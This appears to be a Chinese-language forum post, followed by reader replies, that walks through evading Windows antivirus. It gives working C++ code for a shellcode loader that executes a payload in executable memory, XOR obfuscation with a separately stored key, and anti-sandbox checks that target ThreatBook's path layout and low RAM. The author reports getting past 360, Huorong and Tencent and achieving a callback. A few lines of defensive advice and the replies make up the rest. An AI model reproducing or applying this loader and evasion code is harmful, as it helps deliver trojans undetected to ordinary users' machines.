Windows免杀与简单的实战

前几天看到了有佬友在讨论各个杀毒还有佬友被C,360没扫出来的帖,突然让我想到了免杀.

引用佬友NULL的回复 这些才是真实情况下会遇到的后门和恶意程序,b站测评视频里那些都是玩具而已,只是符合大众对于病毒的想象,和实际的恶意程序完全不同

同时针对普通用户windows系统所遇到的木马病毒文件很多都存在一些破解软件.开源工具等等,会带下载者,shellcode加载器等…这些木马会静默安装加载到用户的电脑监控用户的电脑.

这些木马有时会伪装成图片,word文档.excel表格.某软件的安装器或者捆绑在一些程序上…

当这些木马加载到到用户的电脑,有的直接盗取某些资料,有的会劫持你的剪切板(例如检测到你复制了USDT的地址,他会把你复制的U地址劫持成控制者的U地址,因为U地址长度问题,很多人转账都是用的复制粘贴,所以导致很多人中招),或者进行一些操作包括不限于 管理你的文件,获取你的社交帐号key,监控你的屏幕,操作你的注册表,代理你的IP的登录你的某些账号避免风控。

以下基于windows系统 . 如有不当之处,望指正

同时测试一下 360 火绒 某管家

免杀方法从Payload加载来看可以分

本体exe的免杀 , Webshell,白加黑,shellcode加载器 。这些方法。大部分是这些。

我们这里讲shellcode加载

Shellcode可以远程网络加载或者资源捆绑或者放在图片里面都是可以的.这里为了方便我就放在目录文件了

/////////////////////////////////////////////////////////////////////

    ifstream file("shellcode.bin", ios::binary | ios::ate);
    if (!file.is_open())
    {
        cout << "无法打开文件" << endl;
        return 1;
    }

    streampos size = file.tellg();
    file.seekg(0, ios::beg);

    
    char* buffer = new char[size];
    file.read(buffer, size);
    file.close();
    void* mem = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (mem == NULL)
    {
        cout << "无法分配内存" << endl;
        return 1;
    }
    memcpy(mem, buffer, size);
    typedef void(*Shellcode)();
    Shellcode sc = (Shellcode)mem;
    sc();
    VirtualFree(mem, 0, MEM_RELEASE);

/////////////////////////////////////////////////////////////////////

第一次杀软测试 管家和火绒已经过掉 360查杀

不知道是不是这个载荷被特征了,尝试把他用Xor加密一下

简单的Xor例子
std::vector<unsigned char> xor_encrypt(const std::vector<unsigned char>& data, const std::string& key) {
    std::vector<unsigned char> encrypted_data(data.size());
    size_t key_length = key.length();

    for (size_t i = 0; i < data.size(); ++i) {
        encrypted_data[i] = data[i] ^ key[i % key_length];
    }

    return encrypted_data;
}
自定义密钥x!@JDH

加密之后还是被杀

推测是360主动防御.主动防御又就不得不提起沙盒.也叫启发式查杀,通过模拟计算机环境执行文件再观测行为特征.

尝试把密钥单独拿出来存在一个文本里,让他去读取文本内的密钥然后解密加载

免杀成功 只不过这种简单的办法不会很持久,应该加密,编码,混淆.动态调用一系列操作或者白加黑.Webshell免杀

然后再上传一下微步沙箱,发现多引擎检测有一款检测到

然后github找了找
反沙箱的方法用了余吉的方法。
文档所说微步多年以来都是在C盘下生成一个随机字符串文件夹来运行
所以照着他这个代码改改就可以了.直接用会被杀


typedef BOOL(WINAPI* GetCurrentDirectoryA_t)(DWORD, LPSTR);

std::string getCurrentDir() {
  
    HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
    if (hKernel32 == NULL) {
        std::cerr << "Failed to load kernel32.dll" << std::endl;
        return std::string();
    }

  
    GetCurrentDirectoryA_t pGetCurrentDirectoryA =
        (GetCurrentDirectoryA_t)GetProcAddress(hKernel32, "GetCurrentDirectoryA");
    if (pGetCurrentDirectoryA == NULL) {
        std::cerr << "Failed to get address of GetCurrentDirectoryA" << std::endl;
        FreeLibrary(hKernel32);
        return std::string();
    }


    char buffer[256];
    if (pGetCurrentDirectoryA(256, buffer) == 0) {
        std::cerr << "Failed to get current directory" << std::endl;
        FreeLibrary(hKernel32);
        return std::string();
    }

 
    FreeLibrary(hKernel32);

    return std::string(buffer);
}

bool isInSandbox() {
    std::string currentPath(getCurrentDir());
    std::regex rgx("^C:\\\\[A-Za-z0-9_]+");
    return !std::regex_match(currentPath, rgx);
}

void showAlertAndExit(const std::wstring& msg) {
    MessageBox(NULL, msg.c_str(), L"Alert", MB_OK | MB_ICONWARNING);
    exit(0);
}
void wbsandbox() {
    if (!isInSandbox()) {
        showAlertAndExit(L"微步环境自动退出");
    }
 }

顺便写了个检测运行环境内存大小的如果小于3G(可自定义)就退出运行

也可以反杀箱

void CheckMemoryAndExit() {

    MEMORYSTATUSEX memStatus;
    memStatus.dwLength = sizeof(MEMORYSTATUSEX);

    if (!GlobalMemoryStatusEx(&memStatus)) {
        std::cerr << "获取内存状态失败" << std::endl;
        return;
    }
    
    DWORDLONG totalMemory = memStatus.ullTotalPhys;
    double totalMemoryGB = static_cast<double>(totalMemory) / (1024 * 1024 * 1024); // 转换为 GB
 
    if (totalMemoryGB < 3.0) {
      
        MessageBox(NULL, L"系统内存小于 3GB", L"退出警告", MB_OK | MB_ICONWARNING);
        exit(1);
    }
}

编译 上传微步 顺便传了下virustotal.com 效果还可以

最后测试成功上线

OK
OOK

Test.cpp.txt (5.9 KB)

如果各位佬友不小心或者无意中中了此类木马,可以查看启动项有没有异常的启动,网络连接有没有异常的连接。现在黑产团队的这种木马一般都是白加黑 即一个正规带数字签名的EXE + 一个黑DLL,跟我当前使用的分离加载差不多样子,大家感兴趣的可以Google了解一下。

最后的最后 那些企业版的杀软怎样,咱不知道(毕竟主打的就是白嫖免费 :face_with_thermometer:)但是360,如果后续有敏感的操作还会被他各种防护 :rofl:。对于安全防护来说 火什么绒,卡什么巴,什么管家,还是推荐360.(如果觉得太吃性能或者广告太多可以下载360极速版,目前用起来没发现有多少广告)

如有不当之处,望各位佬指正 :saluting_face:

29 个赞

太牛了

1 个赞

帮顶

1 个赞

厉害

帮顶

学习了

涨姿势了

学习了

小白不理解,但我受震撼

佬 TQL!!!!!!!!!!

可以判断不同的虚拟环境,然后在虚拟环境中不释放,等到在真实环境延迟释放吗?

windows免杀眼

太强了

哭了可以仔细展开讲讲怎么排查吗,现在电脑一堆破解软件。。。。

看启动的主防, 光看静态扫 没啥用的

学习了

mark!感谢大佬带领我们认识这网络世界的一角!

用golang rust等语言写的话vt上能查出来的引擎就不太一样了。测试下来国内的引擎里一般是深信服能查出来。
另外,事实上自己写加载器的话静态查杀查不出来是很正常的,得看行为检测
我用的arch,有自建edr的agent,hips是手动的

有没有沙盒推荐

哥哥威武,学习了